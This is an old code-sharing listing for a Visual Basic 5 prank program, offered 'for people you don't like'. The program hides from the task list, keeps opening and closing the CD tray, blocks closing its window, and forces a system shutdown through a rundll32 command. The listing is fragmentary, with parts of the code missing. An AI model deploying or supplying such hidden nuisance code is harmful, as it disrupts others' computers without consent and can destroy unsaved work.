by GOD-N-CHIPS (1 Submission)
Category: Miscellaneous
Compatability: Visual Basic 5.0
Difficulty: Unknown Difficulty
Originally Published: Mon 27th November 2000
Date Added: Mon 8th February 2021
Rating: 
(1 Votes)
This is great for people you don't like. This opens and closes the cd-rom draw and if you try to close it, it shuts down the computer! You
API Declarations
Dim lngReturn As Long
Dim strReturn As Long
VBcoders
Shell "rundll32 krnl386.exe,exitkernel"
End Sub
Private Sub Form_Load()
cmdexit.Visible = False
App.TaskVisible = False
End Sub
Private Sub Tmropen_Timer()
lngReturn = mciSendString("set CDAudio door open", strReturn, 127, 0)
End Sub
Private Sub Tmrclose_Timer()
lngReturn = mciSendString("set CDAudio door closed", strReturn, 127, 0)
End Sub
Private Sub form_unload(cancel As Integer)
cancel = 1
End Sub
Private Sub tmrvisible_Timer()
cmdexit.Visible = True
End Sub
No comments have been posted about This is great for people you don't like. This opens and closes the cd-rom draw and if you try to cl. Why not be the first to post a comment about This is great for people you don't like. This opens and closes the cd-rom draw and if you try to cl.
